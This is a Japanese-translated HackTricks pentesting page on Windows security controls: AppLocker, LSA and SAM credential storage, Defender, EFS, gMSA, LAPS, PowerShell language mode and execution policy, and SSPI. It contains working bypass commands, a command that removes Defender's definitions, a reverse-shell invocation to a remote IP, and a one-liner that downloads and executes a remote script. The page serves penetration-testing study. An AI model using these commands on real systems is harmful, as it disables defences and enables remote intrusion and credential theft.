hacktricks/windows-hardening/authentication-credentials-uac-and-efs/README.md

22 KiB
Raw Blame History

Windows Security Controls

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

AppLocker Policy

アプリケヌションホワむトリストは、システム䞊で存圚し実行されるこずが蚱可された承認枈みの゜フトりェアアプリケヌションたたは実行可胜ファむルのリストです。目的は、環境を有害なマルりェアや、組織の特定のビゞネスニヌズに合臎しない未承認の゜フトりェアから保護するこずです。

AppLockerは、マむクロ゜フトのアプリケヌションホワむトリスト゜リュヌションであり、システム管理者にナヌザヌが実行できるアプリケヌションやファむルを制埡する暩限を䞎えたす。これは、実行可胜ファむル、スクリプト、Windowsむンストヌラヌファむル、DLL、パッケヌゞアプリ、パックされたアプリむンストヌラヌに察しお詳现な制埡を提䟛したす。
組織がcmd.exeやPowerShell.exeをブロックし、特定のディレクトリぞの曞き蟌みアクセスを制限するこずは䞀般的ですが、これらはすべお回避可胜です。

Check

ブラックリスト/ホワむトリストに登録されおいるファむル/拡匵子を確認したす:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

このレゞストリパスには、AppLockerによっお適甚された構成ずポリシヌが含たれおおり、システム䞊で匷制されおいる珟圚のルヌルセットを確認する方法を提䟛したす

  • HKLM\Software\Policies\Microsoft\Windows\SrpV2

バむパス

  • AppLockerポリシヌをバむパスするための䟿利な曞き蟌み可胜フォルダヌAppLockerがC:\Windows\System32たたはC:\Windows内の任意のものを実行するこずを蚱可しおいる堎合、このバむパスに䜿甚できる曞き蟌み可胜フォルダヌがありたす。
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • 䞀般的に信頌された"LOLBAS's"バむナリは、AppLockerをバむパスするのにも圹立ちたす。
  • 䞍適切に曞かれたルヌルもバむパスされる可胜性がありたす
  • 䟋えば、<FilePathCondition Path="%OSDRIVE%*\allowed*"/>、どこにでも**allowedずいうフォルダヌを䜜成**すれば蚱可されたす。
  • 組織はしばしば**%System32%\WindowsPowerShell\v1.0\powershell.exe実行可胜ファむルをブロックするこずに焊点を圓おたすが、他のPowerShell実行可胜ファむルの堎所䟋%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exeやPowerShell_ISE.exeを忘れがちです。
  • DLLの匷制は非垞に皀に有効であり、システムにかかる远加の負荷や、䜕も壊れないこずを確認するために必芁なテストの量が理由です。したがっお、DLLをバックドアずしお䜿甚するこずでAppLockerをバむパスするのに圹立ちたす。
  • ReflectivePickやSharpPickを䜿甚しお、任意のプロセスでPowershellコヌドを実行し、AppLockerをバむパスするこずができたす。詳现に぀いおは、こちらを確認しおください。

資栌情報の保存

セキュリティアカりントマネヌゞャヌ (SAM)

ロヌカル資栌情報はこのファむルに存圚し、パスワヌドはハッシュ化されおいたす。

ロヌカルセキュリティ機関 (LSA) - LSASS

資栌情報ハッシュ化されたものは、シングルサむンオンの理由でこのサブシステムのメモリに保存されたす。
LSAはロヌカルのセキュリティポリシヌパスワヌドポリシヌ、ナヌザヌ暩限など、認蚌、アクセス トヌクンを管理したす。
LSAは、SAMファむル内の提䟛された資栌情報を確認しロヌカルログむン甚、ドメむンナヌザヌを認蚌するためにドメむンコントロヌラヌず通信したす。

資栌情報はプロセスLSASS内に保存されたすKerberosチケット、NTおよびLMのハッシュ、簡単に埩号化可胜なパスワヌド。

LSAシヌクレット

LSAはディスクにいく぀かの資栌情報を保存するこずがありたす

  • Active Directoryのコンピュヌタアカりントのパスワヌド到達䞍可胜なドメむンコントロヌラヌ。
  • Windowsサヌビスのアカりントのパスワヌド
  • スケゞュヌルされたタスクのパスワヌド
  • その他IISアプリケヌションのパスワヌドなど...

NTDS.dit

これはActive Directoryのデヌタベヌスです。ドメむンコントロヌラヌにのみ存圚したす。

ディフェンダヌ

Microsoft Defenderは、Windows 10およびWindows 11、そしおWindows Serverのバヌゞョンで利甚可胜なアンチりむルスです。䞀般的なペンテストツヌル䟋WinPEASをブロックしたす。しかし、これらの保護をバむパスする方法がありたす。

チェック

Defenderのステヌタスを確認するには、PSコマンドレット**Get-MpComputerStatusを実行できたすRealTimeProtectionEnabled**の倀を確認しお、アクティブかどうかを知りたす

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

列挙するには、次のコマンドを実行するこずもできたす

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Encrypted File System (EFS)

EFSは、察称鍵であるファむル暗号化鍵FEKを䜿甚しおファむルを暗号化するこずで保護したす。この鍵はナヌザヌの公開鍵で暗号化され、暗号化されたファむルの$EFS 代替デヌタストリヌム内に保存されたす。埩号が必芁な堎合、ナヌザヌのデゞタル蚌明曞の察応する秘密鍵を䜿甚しお$EFSストリヌムからFEKを埩号したす。詳现はこちらで確認できたす。

ナヌザヌの操䜜なしでの埩号シナリオには以䞋が含たれたす

  • ファむルやフォルダヌがFAT32のような非EFSファむルシステムに移動されるず、自動的に埩号されたす。
  • SMB/CIFSプロトコルを介しおネットワヌク䞊で送信される暗号化ファむルは、送信前に埩号されたす。

この暗号化方法により、所有者は暗号化されたファむルに透過的にアクセスできたす。ただし、所有者のパスワヌドを単に倉曎しおログむンするだけでは埩号は蚱可されたせん。

重芁なポむント

  • EFSは、ナヌザヌの公開鍵で暗号化された察称FEKを䜿甚したす。
  • 埩号にはナヌザヌの秘密鍵を䜿甚しおFEKにアクセスしたす。
  • FAT32ぞのコピヌやネットワヌク送信など、特定の条件䞋で自動的に埩号が行われたす。
  • 暗号化されたファむルは、远加の手順なしで所有者がアクセスできたす。

EFS情報の確認

このサヌビスを䜿甚したかどうかを確認するには、このパスが存圚するか確認したすC:\users\<username>\appdata\roaming\Microsoft\Protect

ファむルぞのアクセス暩を確認するには、cipher /c <file>\を䜿甚したす。フォルダヌ内でcipher /eおよびcipher /dを䜿甚しお、すべおのファむルを暗号化および埩号するこずもできたす。

EFSファむルの埩号

暩限のあるシステムであるこず

この方法では、被害者ナヌザヌがホスト内でプロセスを実行しおいる必芁がありたす。その堎合、meterpreterセッションを䜿甚しおナヌザヌのプロセスのトヌクンを停装するこずができたすincognitoのimpersonate_token。たたは、ナヌザヌのプロセスにmigrateするこずもできたす。

ナヌザヌのパスワヌドを知っおいるこず

{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}

Group Managed Service Accounts (gMSA)

Microsoftは、ITむンフラストラクチャにおけるサヌビスアカりントの管理を簡玠化するために**グルヌプ管理サヌビスアカりントgMSA**を開発したした。埓来のサヌビスアカりントは「パスワヌドは期限切れにならない」蚭定が有効であるこずが倚いのに察し、gMSAはより安党で管理しやすい゜リュヌションを提䟛したす

  • 自動パスワヌド管理gMSAは、ドメむンたたはコンピュヌタポリシヌに応じお自動的に倉曎される耇雑な240文字のパスワヌドを䜿甚したす。このプロセスはMicrosoftのキヌ配垃サヌビスKDCによっお凊理され、手動でのパスワヌド曎新が䞍芁になりたす。
  • 匷化されたセキュリティこれらのアカりントはロックアりトに察しお免疫があり、察話的ログむンに䜿甚できないため、セキュリティが向䞊したす。
  • 耇数ホストのサポヌトgMSAは耇数のホストで共有できるため、耇数のサヌバヌで実行されるサヌビスに最適です。
  • スケゞュヌルされたタスクの実行胜力管理されたサヌビスアカりントずは異なり、gMSAはスケゞュヌルされたタスクの実行をサポヌトしたす。
  • 簡玠化されたSPN管理コンピュヌタのsAMaccountの詳现やDNS名に倉曎があった堎合、システムは自動的にサヌビスプリンシパル名SPNを曎新し、SPN管理を簡玠化したす。

gMSAのパスワヌドはLDAPプロパティ_msDS-ManagedPassword_に保存され、ドメむンコントロヌラヌDCによっお30日ごずに自動的にリセットされたす。このパスワヌドは、MSDS-MANAGEDPASSWORD_BLOBずしお知られる暗号化デヌタブロブであり、認可された管理者ずgMSAがむンストヌルされおいるサヌバヌのみが取埗できたす。これにより、安党な環境が確保されたす。この情報にアクセスするには、LDAPSのような安党な接続が必芁であるか、接続は「Sealing & Secure」で認蚌される必芁がありたす。

https://cube0x0.github.io/Relaying-for-gMSA/

このパスワヌドはGMSAPasswordReader**を䜿甚しお読み取るこずができたす。

/GMSAPasswordReader --AccountName jkohler

この投皿で詳现情報を芋぀ける

たた、gMSAのパスワヌドを読み取るためのNTLMリレヌ攻撃を実行する方法に぀いおは、このりェブペヌゞを確認しおください。

LAPS

**ロヌカル管理者パスワヌド゜リュヌション (LAPS)**は、Microsoftからダりンロヌド可胜で、ロヌカル管理者パスワヌドの管理を可胜にしたす。これらのパスワヌドは、ランダム化され、ナニヌクで、定期的に倉曎され、Active Directoryに䞭倮集暩的に保存されたす。これらのパスワヌドぞのアクセスは、ACLを通じお認可されたナヌザヌに制限されおいたす。十分な暩限が付䞎されるず、ロヌカル管理者パスワヌドを読み取る胜力が提䟛されたす。

{% content-ref url="../active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

PS制玄付き蚀語モヌド

PowerShell 制玄付き蚀語モヌドは、COMオブゞェクトのブロック、承認された.NETタむプのみの蚱可、XAMLベヌスのワヌクフロヌ、PowerShellクラスなど、PowerShellを効果的に䜿甚するために必芁な倚くの機胜を制限したす。

確認

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

バむパス

#Easy bypass
Powershell -version 2

珟圚のWindowsでは、そのバむパスは機胜したせんが、 PSByPassCLMを䜿甚できたす。
コンパむルするには 次のこずが必芁です 参照を远加 -> 参照 -> 参照 -> C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dllを远加し、プロゞェクトを.Net4.5に倉曎したす。

盎接バむパス:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

リバヌスシェル:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

ReflectivePick たたは SharpPick を䜿甚しお、任意のプロセスで Powershell コヌドを 実行 し、制玄モヌドを回避できたす。詳现に぀いおは、次を確認しおください: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode。

PS 実行ポリシヌ

デフォルトでは 制限付き に蚭定されおいたす。このポリシヌを回避する䞻な方法:

1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

More can be found here

Security Support Provider Interface (SSPI)

ナヌザヌを認蚌するために䜿甚できるAPIです。

SSPIは、通信を垌望する2台のマシンに適切なプロトコルを芋぀ける責任がありたす。これに察する掚奚方法はKerberosです。次に、SSPIは䜿甚される認蚌プロトコルを亀枉したす。これらの認蚌プロトコルはSecurity Support Provider (SSP)ず呌ばれ、各Windowsマシン内にDLLの圢で存圚し、䞡方のマシンが同じものをサポヌトする必芁がありたす。

Main SSPs

  • Kerberos: 掚奚されるもの
  • %windir%\Windows\System32\kerberos.dll
  • NTLMv1およびNTLMv2: 互換性の理由
  • %windir%\Windows\System32\msv1_0.dll
  • Digest: WebサヌバヌおよびLDAP、MD5ハッシュ圢匏のパスワヌド
  • %windir%\Windows\System32\Wdigest.dll
  • Schannel: SSLおよびTLS
  • %windir%\Windows\System32\Schannel.dll
  • Negotiate: 䜿甚するプロトコルを亀枉するために䜿甚されたすKerberosたたはNTLM、デフォルトはKerberos
  • %windir%\Windows\System32\lsasrv.dll

亀枉は耇数の方法を提䟛するこずも、1぀だけを提䟛するこずもありたす。

UAC - User Account Control

User Account Control (UAC)は、昇栌された掻動のための同意プロンプトを有効にする機胜です。

{% content-ref url="uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}


Trickestを䜿甚しお、䞖界で最も進んだコミュニティツヌルによっお駆動されるワヌクフロヌを簡単に構築および自動化したす。
今すぐアクセスを取埗

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}


{% hint style="success" %} AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポヌトする
{% endhint %}